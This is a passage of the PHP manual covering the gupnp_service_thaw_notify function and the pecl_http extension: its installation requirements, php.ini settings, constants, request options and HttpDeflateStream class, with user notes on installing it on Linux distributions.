(PECL gupnp >= 0.1.0)

gupnp_service_thaw_notify — Sends out any pending notifications and stops queuing of new ones.

Description

bool gupnp_service_thaw_notify ( resource $service )

Sends out any pending notifications and stops queuing of new ones.

Parameters

service

A service identifier.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gupnp_service_notify() - Notifies listening clients
  • gupnp_service_freeze_notify() - Freeze new notifications

User Contributed Notes

There are no user contributed notes for this page.
gupnp_service_proxy_set_subscribed
HTTP
Gupnp Functions


HTTP

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installing the HTTP extension — Installation/Configuration
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Request Options — Options usable with the HttpRequest class and request functions
  • HttpDeflateStream — The HttpDeflateStream class
    • HttpDeflateStream::__construct — HttpDeflateStream class constructor
    • HttpDeflateStream::factory — HttpDeflateStream class factory
    • HttpDeflateStream::finish — Finalize deflate stream
    • HttpDeflateStream::flush — Flush deflate stream
    • HttpDeflateStream::update — Update deflate stream
  • HttpInflateStream — The HttpInflateStream class
    • HttpInflateStream::__construct — HttpInflateStream class constructor
    • HttpInflateStream::factory — HttpInflateStream class factory
    • HttpInflateStream::finish — Finalize inflate stream
    • HttpInflateStream::flush — Flush inflate stream
    • HttpInflateStream::update — Update inflate stream
  • HttpMessage — The HttpMessage class
    • HttpMessage::addHeaders — Add headers
    • HttpMessage::__construct — HttpMessage constructor
    • HttpMessage::detach — Detach HttpMessage
    • HttpMessage::factory — Create HttpMessage from string
    • HttpMessage::fromEnv — Create HttpMessage from environment
    • HttpMessage::fromString — Create HttpMessage from string
    • HttpMessage::getBody — Get message body
    • HttpMessage::getHeader — Get header
    • HttpMessage::getHeaders — Get message headers
    • HttpMessage::getHttpVersion — Get HTTP version
    • HttpMessage::getParentMessage — Get parent message
    • HttpMessage::getRequestMethod — Get request method
    • HttpMessage::getRequestUrl — Get request URL
    • HttpMessage::getResponseCode — Get response code
    • HttpMessage::getResponseStatus — Get response status
    • HttpMessage::getType — Get message type
    • HttpMessage::guessContentType — Guess content type
    • HttpMessage::prepend — Prepend message(s)
    • HttpMessage::reverse — Reverse message chain
    • HttpMessage::send — Send message
    • HttpMessage::setBody — Set message body
    • HttpMessage::setHeaders — Set headers
    • HttpMessage::setHttpVersion — Set HTTP version
    • HttpMessage::setRequestMethod — Set request method
    • HttpMessage::setRequestUrl — Set request URL
    • HttpMessage::setResponseCode — Set response code
    • HttpMessage::setResponseStatus — Set response status
    • HttpMessage::setType — Set message type
    • HttpMessage::toMessageTypeObject — Create HTTP object regarding message type
    • HttpMessage::toString — Get string representation
  • HttpQueryString — The HttpQueryString class
    • HttpQueryString::__construct — HttpQueryString constructor
    • HttpQueryString::get — Get (part of) query string
    • HttpQueryString::mod — Modifiy query string copy
    • HttpQueryString::set — Set query string params
    • HttpQueryString::singleton — HttpQueryString singleton
    • HttpQueryString::toArray — Get query string as array
    • HttpQueryString::toString — Get query string
    • HttpQueryString::xlate — Change query strings charset
  • HttpRequest — The HttpRequest
    • HttpRequest::addCookies — Add cookies
    • HttpRequest::addHeaders — Add headers
    • HttpRequest::addPostFields — Add post fields
    • HttpRequest::addPostFile — Add post file
    • HttpRequest::addPutData — Add put data
    • HttpRequest::addQueryData — Add query data
    • HttpRequest::addRawPostData — Add raw post data
    • HttpRequest::addSslOptions — Add ssl options
    • HttpRequest::clearHistory — Clear history
    • HttpRequest::__construct — HttpRequest constructor
    • HttpRequest::enableCookies — Enable cookies
    • HttpRequest::getContentType — Get content type
    • HttpRequest::getCookies — Get cookies
    • HttpRequest::getHeaders — Get headers
    • HttpRequest::getHistory — Get history
    • HttpRequest::getMethod — Get method
    • HttpRequest::getOptions — Get options
    • HttpRequest::getPostFields — Get post fields
    • HttpRequest::getPostFiles — Get post files
    • HttpRequest::getPutData — Get put data
    • HttpRequest::getPutFile — Get put file
    • HttpRequest::getQueryData — Get query data
    • HttpRequest::getRawPostData — Get raw post data
    • HttpRequest::getRawRequestMessage — Get raw request message
    • HttpRequest::getRawResponseMessage — Get raw response message
    • HttpRequest::getRequestMessage — Get request message
    • HttpRequest::getResponseBody — Get response body
    • HttpRequest::getResponseCode — Get response code
    • HttpRequest::getResponseCookies — Get response cookie(s)
    • HttpRequest::getResponseData — Get response data
    • HttpRequest::getResponseHeader — Get response header(s)
    • HttpRequest::getResponseInfo — Get response info
    • HttpRequest::getResponseMessage — Get response message
    • HttpRequest::getResponseStatus — Get response status
    • HttpRequest::getSslOptions — Get ssl options
    • HttpRequest::getUrl — Get url
    • HttpRequest::resetCookies — Reset cookies
    • HttpRequest::send — Send request
    • HttpRequest::setBody — Set request body to send, overwriting previously set request body.
    • HttpRequest::setContentType — Set content type
    • HttpRequest::setCookies — Set cookies
    • HttpRequest::setHeaders — Set headers
    • HttpRequest::setMethod — Set method
    • HttpRequest::setOptions — Set options
    • HttpRequest::setPostFields — Set post fields
    • HttpRequest::setPostFiles — Set post files
    • HttpRequest::setPutData — Set put data
    • HttpRequest::setPutFile — Set put file
    • HttpRequest::setQueryData — Set query data
    • HttpRequest::setRawPostData — Set raw post data
    • HttpRequest::setSslOptions — Set ssl options
    • HttpRequest::setUrl — Set URL
  • HttpRequestPool — The HttpRequestPool class
    • HttpRequestPool::attach — Attach HttpRequest
    • HttpRequestPool::__construct — HttpRequestPool constructor
    • HttpRequestPool::__destruct — HttpRequestPool destructor
    • HttpRequestPool::detach — Detach HttpRequest
    • HttpRequestPool::getAttachedRequests — Get attached requests
    • HttpRequestPool::getFinishedRequests — Get finished requests
    • HttpRequestPool::reset — Reset request pool
    • HttpRequestPool::send — Send all requests
    • HttpRequestPool::socketPerform — Perform socket actions
    • HttpRequestPool::socketSelect — Perform socket select
  • HttpResponse — The HttpResponse
    • HttpResponse::capture — Capture script output
    • HttpResponse::getBufferSize — Get buffer size
    • HttpResponse::getCache — Get cache
    • HttpResponse::getCacheControl — Get cache control
    • HttpResponse::getContentDisposition — Get content disposition
    • HttpResponse::getContentType — Get content type
    • HttpResponse::getData — Get data
    • HttpResponse::getETag — Get ETag
    • HttpResponse::getFile — Get file
    • HttpResponse::getGzip — Get gzip
    • HttpResponse::getHeader — Get header
    • HttpResponse::getLastModified — Get last modified
    • HttpResponse::getRequestBody — Get request body
    • HttpResponse::getRequestBodyStream — Get request body stream
    • HttpResponse::getRequestHeaders — Get request headers
    • HttpResponse::getStream — Get Stream
    • HttpResponse::getThrottleDelay — Get throttle delay
    • HttpResponse::guessContentType — Guess content type
    • HttpResponse::redirect — Redirect
    • HttpResponse::send — Send response
    • HttpResponse::setBufferSize — Set buffer size
    • HttpResponse::setCache — Set cache
    • HttpResponse::setCacheControl — Set cache control
    • HttpResponse::setContentDisposition — Set content disposition
    • HttpResponse::setContentType — Set content type
    • HttpResponse::setData — Set data
    • HttpResponse::setETag — Set ETag
    • HttpResponse::setFile — Set file
    • HttpResponse::setGzip — Set gzip
    • HttpResponse::setHeader — Set header
    • HttpResponse::setLastModified — Set last modified
    • HttpResponse::setStream — Set stream
    • HttpResponse::setThrottleDelay — Set throttle delay
    • HttpResponse::status — Send HTTP response status
  • HTTP Functions
    • http_cache_etag — Caching by ETag
    • http_cache_last_modified — Caching by last modification
    • http_chunked_decode — Decode chunked-encoded data
    • http_deflate — Deflate data
    • http_inflate — Inflate data
    • http_build_cookie — Build cookie string
    • http_date — Compose HTTP RFC compliant date
    • http_get_request_body_stream — Get request body as stream
    • http_get_request_body — Get request body as string
    • http_get_request_headers — Get request headers as array
    • http_match_etag — Match ETag
    • http_match_modified — Match last modification
    • http_match_request_header — Match any header
    • http_support — Check built-in HTTP support
    • http_negotiate_charset — Negotiate clients preferred character set
    • http_negotiate_content_type — Negotiate clients preferred content type
    • http_negotiate_language — Negotiate clients preferred language
    • ob_deflatehandler — Deflate output handler
    • ob_etaghandler — ETag output handler
    • ob_inflatehandler — Inflate output handler
    • http_parse_cookie — Parse HTTP cookie
    • http_parse_headers — Parse HTTP headers
    • http_parse_message — Parse HTTP messages
    • http_parse_params — Parse parameter list
    • http_persistent_handles_clean — Clean up persistent handles
    • http_persistent_handles_count — Stat persistent handles
    • http_persistent_handles_ident — Get/set ident of persistent handles
    • http_get — Perform GET request
    • http_head — Perform HEAD request
    • http_post_data — Perform POST request with pre-encoded data
    • http_post_fields — Perform POST request with data to be encoded
    • http_put_data — Perform PUT request with data
    • http_put_file — Perform PUT request with file
    • http_put_stream — Perform PUT request with stream
    • http_request_body_encode — Encode request body
    • http_request_method_exists — Check whether request method exists
    • http_request_method_name — Get request method name
    • http_request_method_register — Register request method
    • http_request_method_unregister — Unregister request method
    • http_request — Perform custom request
    • http_redirect — Issue HTTP redirect
    • http_send_content_disposition — Send Content-Disposition
    • http_send_content_type — Send Content-Type
    • http_send_data — Send arbitrary data
    • http_send_file — Send file
    • http_send_last_modified — Send Last-Modified
    • http_send_status — Send HTTP response status
    • http_send_stream — Send stream
    • http_throttle — HTTP throttling
    • http_build_str — Build query string
    • http_build_url — Build a URL

User Contributed Notes

There are no user contributed notes for this page.
gupnp_service_thaw_notify
Introduction
Other Services


Introduction

The HTTP extension aims to provide a convenient and powerful set of functionality for major applications.

The HTTP extension eases handling of HTTP URLs, dates, redirects, headers and messages in a HTTP context (both incoming and outgoing). It also provides means for client negotiation of preferred language and charset, as well as a convenient way to exchange arbitrary data with caching and resuming capabilities.

Also provided is a powerful request and parallel interface (PHP 5+), if the extension is built with cURL support.

Additionally to the API reference in this manual you can find information about how to install and configure as well as which global constants are predefined in the following sections:

User Contributed Notes

There are no user contributed notes for this page.
HTTP
Installing/Configuring
HTTP


Installing/Configuring

Table of Contents

  • Requirements
  • Installing the HTTP extension
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
HTTP


Requirements

The HttpResponse class requires at least PHP v5.1. Any other class is available as of PHP v5.0.

Note: Be aware though, that some methods are not available with PHP v5.0.

Installation requirements on Windows

In order to be able to load this extension on Windows, you additionally need to load the following PHP extensions: hash, iconv and SPL.

Installation requirements on other platforms

The extension must be built with » libcurl support to enable request functionality (--with-http-curl-requests). A library version equal or greater to v7.12.3 is required.

To enable support for sending and receiving compressed responses, the extension must be built with » zlib support (--with-http-zlib-compression). A library version equal or greater than v1.2.2 is required.

Content type quessing can be enabled by building this extension with » libmagic support (--with-http-magic-mime).

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installing the HTTP extension
Installing/Configuring


Installation/Configuration

Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/pecl_http.

Note: The official name of this extension is pecl_http.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

sumariva at gmail dot com 17-Nov-2011 08:00
To install this extension on Gentoo Linux just run the package manager:
emerge -q pecl-http
and add the extension into php.ini
extension=http.so ( do not have the php_ prefix )
psymatix at gmail dot com 27-Jul-2011 12:44
To install libmagic use:

apt-get install libmagic-dev INSTEAD of apt-get install libmagic
Anonymous 20-Jul-2011 11:19
On Fedora, I had to do 'yum install curl-devel' to avoid missing curl.h error.
jjrp78 at yahoo dot com 25-Oct-2010 07:43
in Ubuntu 10.10 I had to create this file:

/etc/php5/conf.d/http.ini

and add this line:

extension=http.so
srimalj at gmail dot com 28-Mar-2008 08:55
Just to add to the above.

I had to install the following in Ubuntu 7.10 .

(otherwise I get a message saying missing curl.h)

# apt-get install libcurl4-gnutls-dev

Hope this helps someone the trouble i went into, just to get the http_post_fields function working

Regs

Srimal.
Mohd Azhar bin Ariffin 25-Feb-2008 03:20
The installation guideline is very insufficient. I've installed for Debian lenny/sid with the following step;

apt-get install php5-dev (to enable pecl command)
apt-get install libcurl3 (to get curl support)
apt-get install libmagic

and

pecl install pecl_http

pecl will download and compile but before that just follow the prompt. If the respective development library is not available in your system, the compilation will abort.

After pecl_http got install, copy /usr/lib/php5/20060613+lfs/http.so to /usr/lib/apache2/modules and restart apache

Hopefully this will help others from facing the same hassle for quite sometime.
Jean-Lou Dupont 07-Jan-2008 12:24
Don't forget to copy ''http.so'' in the php/modules directory and add ''extension=http.so'' to php.ini.
Christian9997 15-Jun-2007 07:09
The "Installation requirements on Windows" are confusing:

If you are a Windows user you need to have the php_curl.dll extension installed before being able to install the php_http.dll extension.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

HTTP Configuration Options
Name | Default | Changeable | Description
http.etag.mode | "MD5" | PHP_INI_ALL | The hashing algorithm used to generate the ETag. MD5, SHA1, and CRC32 are always available. If the hash extension is enabled, any hashing algorithms this extension provides are available, too.
http.log.cache | "" | PHP_INI_ALL | The path (or stream wrapper url) to a log file in which to write successful cache hits.
http.log.redirect | "" | PHP_INI_ALL | The path (or stream wrapper url) to a log file in which to write redirects.
http.log.not_found | "" | PHP_INI_ALL | The path (or stream wrapper url) to a log file in which to write "file not found" errors.
http.log.allowed_methods | "" | PHP_INI_ALL | The path (or stream wrapper url) to a log file in which to write "allowed methods" violations.
http.log.composite | "" | PHP_INI_ALL | The path (or stream wrapper url) to a log file in which to write all events.
http.request.methods.allowed | "" | PHP_INI_ALL | Allowed request methods. If a client issues a request with a request method other than listed here, PHP exits with a status of "405 Method not allowed". See the INI setting http.force_exit for what "exits" means.
http.request.methods.custom | "" | PHP_INI_PERDIR|PHP_INI_SYSTEM | Custom request methods. If you want to use any non-standard request methods, you can register them with this INI setting or http_request_method_register().
http.request.datashare.cookie | "0" | PHP_INI_SYSTEM | Whether the global HttpRequestDataShare should by default share cookie information.
http.request.datashare.dns | "1" | PHP_INI_SYSTEM | Whether the global HttpRequestDataShare should by default share name lookup information.
http.request.datashare.ssl | "0" | PHP_INI_SYSTEM | Whether the global HttpRequestDataShare should by default share SSL session information. This is not yet implemented in libcurl.
http.request.datashare.connect | "0" | PHP_INI_SYSTEM | Whether the global HttpRequestDataShare should by default share connect information. This is not yet implemented in libcurl.
http.persistent.handles.limit | "-1" | PHP_INI_SYSTEM | The maximum amount of persistent handles to keep alive.
http.persistent.handles.ident | "GLOBAL" | PHP_INI_ALL | The ident of persistent handles.
http.send.inflate.start_auto | "0" | PHP_INI_PERDIR|PHP_INI_SYSTEM | Whether to automatically start the inflate output handler.
http.send.inflate.start_flags | "0" | PHP_INI_ALL | Initialization settings for the inflate output handler.
http.send.deflate.start_auto | "0" | PHP_INI_PERDIR|PHP_INI_SYSTEM | Whether to automatically start the deflate output handler.
http.send.deflate.start_flags | "0" | PHP_INI_ALL | Initialization settings for the deflate output handler. See deflate constants.
http.send.not_found_404 | "1" | PHP_INI_ALL | Whether to automatically exit with a status of "404 Not found", if http_send_file() was not able to find the specified file. See the INI setting http.force_exit for what "exits" means.
http.only_exceptions | "0" | PHP_INI_ALL | Whether all notices/warnings/errors should be thrown as exceptions.
http.force_exit | "1" | PHP_INI_ALL | Each occasion where "exits with a status of..." is mentioned, usually causes the halt of the scripting engine. Disable this option if you alternatively want to start a discarding (dev/null) output handler and continue script execution.

User Contributed Notes

There are no user contributed notes for this page.
Installing the HTTP extension
Resource Types
Installing/Configuring


Resource Types

This extension defines a stream resource returned by http_get_request_body_stream() and (thereafter) HttpResponse::getStream().

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Constants usable with http_support()
HTTP_SUPPORT (integer)
querying for this constant will always return TRUE
HTTP_SUPPORT_REQUESTS (integer)
whether support to issue HTTP requests is given, ie. libcurl support was compiled in
HTTP_SUPPORT_MAGICMIME (integer)
whether support to guess the Content-Type of HTTP messages is given, ie. libmagic support was compiled in
HTTP_SUPPORT_ENCODINGS (integer)
whether support for zlib encodings is given, ie. libz support was compiled in
HTTP_SUPPORT_SSLREQUESTS (integer)
whether support to issue HTTP requests over SSL is given, ie. linked libcurl was built with SSL support
Constants usable with http_parse_params()
HTTP_PARAMS_ALLOW_COMMA (integer)
allow commands additionally to semicolons as separator
HTTP_PARAMS_ALLOW_FAILURE (integer)
continue parsing after an error occurred
HTTP_PARAMS_RAISE_ERROR (integer)
raise PHP warnings on parse errors
HTTP_PARAMS_DEFAULT (integer)
all three values above, bitwise or'ed
Constants usable with http_parse_cookie() and its return value
HTTP_COOKIE_PARSE_RAW (integer)
don't urldecode values
HTTP_COOKIE_SECURE (integer)
whether "secure" was found in the cookie's parameters list
HTTP_COOKIE_HTTPONLY (integer)
whether "httpOnly" was found in the cookie's parameter list
Constants usable with http_deflate() and HttpDeflateStream
HTTP_DEFLATE_LEVEL_DEF (integer)
HTTP_DEFLATE_LEVEL_MIN (integer)
HTTP_DEFLATE_LEVEL_MAX (integer)
HTTP_DEFLATE_TYPE_ZLIB (integer)
HTTP_DEFLATE_TYPE_GZIP (integer)
HTTP_DEFLATE_TYPE_RAW (integer)
HTTP_DEFLATE_STRATEGY_DEF (integer)
HTTP_DEFLATE_STRATEGY_FILT (integer)
HTTP_DEFLATE_STRATEGY_HUFF (integer)
HTTP_DEFLATE_STRATEGY_RLE (integer)
HTTP_DEFLATE_STRATEGY_FIXED (integer)
Constants usable with HttpDeflateStream and HttpInflateStream
HTTP_ENCODING_STREAM_FLUSH_NONE (integer)
don't flush
HTTP_ENCODING_STREAM_FLUSH_SYNC (integer)
synchronized flush only
HTTP_ENCODING_STREAM_FLUSH_FULL (integer)
full data flush
Constants used for error reporting and Exceptions
HTTP_E_RUNTIME (integer)
runtime error
HTTP_E_INVALID_PARAM (integer)
an invalid parameter was passed
HTTP_E_HEADER (integer)
header() or similar operation failed
HTTP_E_MALFORMED_HEADERS (integer)
HTTP header parse error
HTTP_E_REQUEST_METHOD (integer)
unknown/invalid request method
HTTP_E_MESSAGE_TYPE (integer)
with operation incompatible message type
HTTP_E_ENCODING (integer)
encoding/decoding error
HTTP_E_REQUEST (integer)
request failure
HTTP_E_REQUEST_POOL (integer)
request pool failure
HTTP_E_SOCKET (integer)
socket exception
HTTP_E_RESPONSE (integer)
response failure
HTTP_E_URL (integer)
invalid URL
HTTP_E_QUERYSTRING (integer)
querystring operation failure
Constants usable with HttpMessage
HTTP_MSG_NONE (integer)
the message is of no specific type
HTTP_MSG_REQUEST (integer)
request style message
HTTP_MSG_RESPONSE (integer)
response style message
Constants usable with HttpQueryString
HTTP_QUERYSTRING_TYPE_BOOL (integer)
HTTP_QUERYSTRING_TYPE_INT (integer)
HTTP_QUERYSTRING_TYPE_FLOAT (integer)
HTTP_QUERYSTRING_TYPE_STRING (integer)
HTTP_QUERYSTRING_TYPE_ARRAY (integer)
HTTP_QUERYSTRING_TYPE_OBJECT (integer)
Constants used for the httpauthtype request option
HTTP_AUTH_BASIC (integer)
use "basic" authentication
HTTP_AUTH_DIGEST (integer)
use "digest" authentication
HTTP_AUTH_NTLM (integer)
use "NTLM" authentication
HTTP_AUTH_GSSNEG (integer)
use "GSS-NEGOTIATE" authentication
HTTP_AUTH_ANY (integer)
try any authentication scheme
Constants used for the HTTP protocol version request option
HTTP_VERSION_ANY (integer)
no specific HTTP protocol version
HTTP_VERSION_1_0 (integer)
HTTP version 1.0
HTTP_VERSION_1_1 (integer)
HTTP version 1.1
Constants used for the SSL protocol type and version request option
HTTP_SSL_VERSION_ANY (integer)
no specific SSL protocol version
HTTP_SSL_VERSION_TLSv1 (integer)
use TLSv1 only
HTTP_SSL_VERSION_SSLv3 (integer)
use SSLv3 only
HTTP_SSL_VERSION_SSLv2 (integer)
use SSLv2 only
Constants used for the proxytype request option
HTTP_PROXY_SOCKS4 (integer)
the proxy is a SOCKS4 type proxy
HTTP_PROXY_SOCKS5 (integer)
the proxy is a SOCKS5 type proxy
HTTP_PROXY_HTTP (integer)
standard HTTP proxy
Constants used for the ipresolve request option
HTTP_IPRESOLVE_V4 (integer)
use IPv4 only for name lookups
HTTP_IPRESOLVE_V6 (integer)
use IPv6 only for name lookups
HTTP_IPRESOLVE_ANY (integer)
use any IP mechanism only for name lookups
Predefined HTTP request method constants
HTTP_METH_GET (integer)
HTTP_METH_HEAD (integer)
HTTP_METH_POST (integer)
HTTP_METH_PUT (integer)
HTTP_METH_DELETE (integer)
HTTP_METH_OPTIONS (integer)
HTTP_METH_TRACE (integer)
HTTP_METH_CONNECT (integer)
HTTP_METH_PROPFIND (integer)
HTTP_METH_PROPPATCH (integer)
HTTP_METH_MKCOL (integer)
HTTP_METH_COPY (integer)
HTTP_METH_MOVE (integer)
HTTP_METH_LOCK (integer)
HTTP_METH_UNLOCK (integer)
HTTP_METH_VERSION_CONTROL (integer)
HTTP_METH_REPORT (integer)
HTTP_METH_CHECKOUT (integer)
HTTP_METH_CHECKIN (integer)
HTTP_METH_UNCHECKOUT (integer)
HTTP_METH_MKWORKSPACE (integer)
HTTP_METH_UPDATE (integer)
HTTP_METH_LABEL (integer)
HTTP_METH_MERGE (integer)
HTTP_METH_BASELINE_CONTROL (integer)
HTTP_METH_MKACTIVITY (integer)
HTTP_METH_ACL (integer)
Constants usable with http_redirect()
HTTP_REDIRECT (integer)
guess applicable redirect method
HTTP_REDIRECT_PERM (integer)
permanent redirect (301 Moved permanently)
HTTP_REDIRECT_FOUND (integer)
standard redirect (302 Found)

Note: RFC 1945 and RFC 2068 specify that the client is not allowed to change the method on the redirected request. However, most existing user agent implementations treat 302 as if it were a 303 response, performing a GET on the Location field-value regardless of the original request method. The status codes 303 and 307 have been added for servers that wish to make unambiguously clear which kind of reaction is expected of the client.

HTTP_REDIRECT_POST (integer)
redirect applicable to POST requests (303 See other)
HTTP_REDIRECT_PROXY (integer)
proxy redirect (305 Use proxy)
HTTP_REDIRECT_TEMP (integer)
temporary redirect (307 Temporary Redirect)
Constants usable with http_build_url()
HTTP_URL_REPLACE (integer)
replace every part of the first URL when there's one of the second URL
HTTP_URL_JOIN_PATH (integer)
join relative paths
HTTP_URL_JOIN_QUERY (integer)
join query strings
HTTP_URL_STRIP_USER (integer)
strip any user authentication information
HTTP_URL_STRIP_PASS (integer)
strip any password authentication information
HTTP_URL_STRIP_AUTH (integer)
strip any authentication information
HTTP_URL_STRIP_PORT (integer)
strip explicit port numbers
HTTP_URL_STRIP_PATH (integer)
strip complete path
HTTP_URL_STRIP_QUERY (integer)
strip query string
HTTP_URL_STRIP_FRAGMENT (integer)
strip any fragments (#identifier)
HTTP_URL_STRIP_ALL (integer)
strip anything but scheme and host

User Contributed Notes

Kelvin Lim 27-Oct-2008 09:10
Do note that the HTTP_AUTH_NTLM authentication mode supports only NTLMv1.  NTLMv2 support appears to be unavailable as of this writing.
Resource Types
Request Options
HTTP


Options usable with the HttpRequest class and request functions

Options related to time outs
timeout (integer)
seconds the whole request may take to complete
connecttimeout (integer)
seconds the connect, including name resolving, may take
dns_cache_timeout (integer)
seconds after an dns cache entry times out
Options related to urls
url (string)
the request url
port (integer)
use another port as specified in the url
redirect (integer)
whether and how many redirects to follow; defaults to 0
unrestrictedauth (bool)
whether to continue sending credentials on redirects to a different host
referer (string)
the referring url to send
Options related to cookies
encodecookies (bool)
whether custom cookies should be urlencode()d prior sending
cookies (array)
list of cookies as associative array like array("cookie" => "value")
cookiestore (string)
path to a file where cookies are/will be stored
cookiesession (bool)
don't load session cookies from cookiestore if TRUE
Options related to headers
useragent (string)
the user agent to send; defaults to PECL::HTTP/x.y.z (PHP/x.y.z); omitted if explicitly set to an empty string
lastmodified (int)
timestamp for If-(Un)Modified-Since header
etag (string)
quoted etag for If-(None-)Match header
headers (array)
list of custom headers as associative array like array("header" => "value")
Options related to authentication
httpauth (string)
http credentials in "user:pass" format
httpauthtype (int)
HTTP authentication type constant
(array)
Options related to proxies
proxyhost (string)
proxy host in "host[:port]" format
proxyport (int)
use another proxy port as specified in proxyhost
proxytype (int)
HTTP proxy type constant
proxyauth (string)
proxy credentials in "user:pass" format
proxyauthtype (int)
HTTP authentication type constant
Options related to the transfer
compress (bool)
whether to request and accept a gzip/deflate content encoded response
resume (int)
start the download at the specified byte offset if server support is given (indicated by a 206 response code)
range (array)
array of arrays, each containing two integers, specifying the ranges to download if server support is given (indicated by a 206 response code); only recognized if the resume option is empty
Options imposing limits
maxfilesize (integer)
maximum file size that should be downloaded; has no effect, if the size of the requested entity is unknown (eg. dynamic pages with chunked transfer encoding etc.)
low_speed_limit (int)
the lowest transfer speed a successful request may have
low_speed_time (int)
the time in which low_speed_limit must be transferred for a successful request
max_send_speed (int)
maximum send speed in bytes per second
max_recv_speed (int)
maximum receive speed in bytes per second
Callback options
onprogress (callback)
progress callback
Network options
interface (string)
outgoing network interface (ifname, ip or hostname)
portrange (array)
2 integers specifying outgoing portrange to try
SSL options
ssl (array)

Note: SSL options are set through an array with the single "ssl" request option name.

cert (string)
path to certificate
certtype (string)
type of certificate
certpasswd (string)
password for certificate
key (string)
path to key
keytype (string)
type of key
keypasswd (string)
password for key
engine (string)
ssl engine to use
version (int)
ssl version to use
verifypeer (bool)
whether to verify the peer
verifyhost (bool)
whether to verify the host
cipher_list (string)
list of allowed ciphers
cainfo (string)
capath (string)
random_file (string)
egdsocket (string)

User Contributed Notes

dav7 dot net at php (reverse) 25-Mar-2008 05:52
If anyone doesn't understand the purpose of these values and is scratching their head, they're all array indexes, and are used as the $option parameter to the various HTTP functions documented in this section. For example:

<?php
    $body = http_get('http://example.com/private_area/', array(httpauth => 'username:password'));
    print $body;
?>

This only had me "...huh?!" for a little while, but might have others confused for longer as the fact that these are what they are isn't clearly printed anywhere... to find out that these did what they say they do was a guessing game for me even.

-dav7
Predefined Constants
HttpDeflateStream
HTTP


The HttpDeflateStream class

(No version information available, might only be in SVN)

Class synopsis

HttpDeflateStream {
public __construct ([ int $flags = 0 ] )
static public HttpDeflateStream factory ([ int $flags = 0 [, string $class_name = "HttpDeflateStream" ]] )
public string finish ([ string $data ] )
public string flush ([ string $data ] )
public string update ( string $data )
}

Class Members

Predefined Constants

Type | Name | Description
int | TYPE_GZIP | gzip encoding
int | TYPE_ZLIB | zlib AKA deflate encoding
int | TYPE_RAW | raw deflate encoding
int | LEVEL_DEF | default compression level
int | LEVEL_MIN | minimum compression level
int | LEVEL_MAX | maximum compression level
int | STRATEGY_DEF | default strategy
int | STRATEGY_FILT | filtered strategy
int | STRATEGY_HUFF | Huffman strategy
int | STRATEGY_RLE | RLE strategy
int | STRATEGY_FIXED | fixed strategy
int | FLUSH_NONE | no forced flush
int | FLUSH_SYNC | synching flush
int | FLUSH_FULL | full flush

Examples

Example #1 A HttpDeflateStream example

<?php
$stream = new HttpDeflateStream(
    HttpDeflateStream::TYPE_GZIP |
    HttpDeflateStream::LEVEL_MAX |
    HttpDeflateStream::FLUSH_SYNC);

echo $stream->update($data);
echo $stream->finish();
?>

Table of Contents

  • HttpDeflateStream::__construct — HttpDeflateStream class constructor
  • HttpDeflateStream::factory — HttpDeflateStream class factory
  • HttpDeflateStream::finish — Finalize deflate stream
  • HttpDeflateStream::flush — Flush deflate stream
  • HttpDeflateStream::update — Update deflate stream

User Contributed Notes

There are no user contributed notes for this page.
Request Options
HttpDeflateStream::__construct
HTTP


HttpDeflateStream class constructor

HttpDeflateStream
HttpDeflateStream::factory
HttpDeflateStream
PHP Manual

HttpDeflateStream::__construct

(PECL pecl_http >= 0.21.0)

HttpDeflateStream::__construct — HttpDeflateStream class constructor

Description

public HttpDeflateStream::__construct ([ int $flags = 0 ] )

Creates a new HttpDeflateStream object instance.

See the deflate stream constants table for possible flags.

Parameters

flags

initialization flags

See Also

  • HttpDeflateStream::factory() - HttpDeflateStream class factory

User Contributed Notes

There are no user contributed notes for this page.
HttpDeflateStream
HttpDeflateStream::factory
HttpDeflateStream


HttpDeflateStream class factory

HttpDeflateStream::__construct
HttpDeflateStream::finish
HttpDeflateStream
PHP Manual

HttpDeflateStream::factory

(PECL pecl_http >= 1.4.0)

HttpDeflateStream::factory — HttpDeflateStream class factory

Description

static public HttpDeflateStream HttpDeflateStream::factory ([ int $flags = 0 [, string $class_name = "HttpDeflateStream" ]] )

Creates a new HttpDeflateStream object instance.

See the deflate stream constants table for possible flags.

Parameters

flags

initialization flags

class_name

name of a subclass of HttpDeflateStream

See Also

  • HttpDeflateStream::__construct() - HttpDeflateStream class constructor

User Contributed Notes

There are no user contributed notes for this page.
HttpDeflateStream::__construct
HttpDeflateStream::finish
HttpDeflateStream


Finalize deflate stream

HttpDeflateStream::factory
HttpDeflateStream::flush
HttpDeflateStream
PHP Manual

HttpDeflateStream::finish

(PECL pecl_http >= 0.21.0)

HttpDeflateStream::finish — Finalize deflate stream

Description

public string HttpDeflateStream::finish ([ string $data ] )

Finalizes the deflate stream. The deflate stream can be reused after finalizing.

Parameters

data

data to deflate

Return Values

Returns the final part of deflated data.

User Contributed Notes

There are no user contributed notes for this page.
HttpDeflateStream::factory
HttpDeflateStream::flush
HttpDeflateStream


Flush deflate stream

HttpDeflateStream::finish
HttpDeflateStream::update
HttpDeflateStream
PHP Manual

HttpDeflateStream::flush

(PECL pecl_http >= 0.21.0)

HttpDeflateStream::flush — Flush deflate stream

Description

public string HttpDeflateStream::flush ([ string $data ] )

Flushes the deflate stream.

Parameters

data

more data to deflate

Return Values

Returns some deflated data as string on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
HttpDeflateStream::finish
HttpDeflateStream::update
HttpDeflateStream


Update deflate stream

HttpDeflateStream::flush
HttpInflateStream
HttpDeflateStream
PHP Manual

HttpDeflateStream::update

(PECL pecl_http >= 0.21.0)

HttpDeflateStream::update — Update deflate stream

Description

public string HttpDeflateStream::update ( string $data )

Passes more data through the deflate stream.

Parameters

data

data to deflate

Return Values

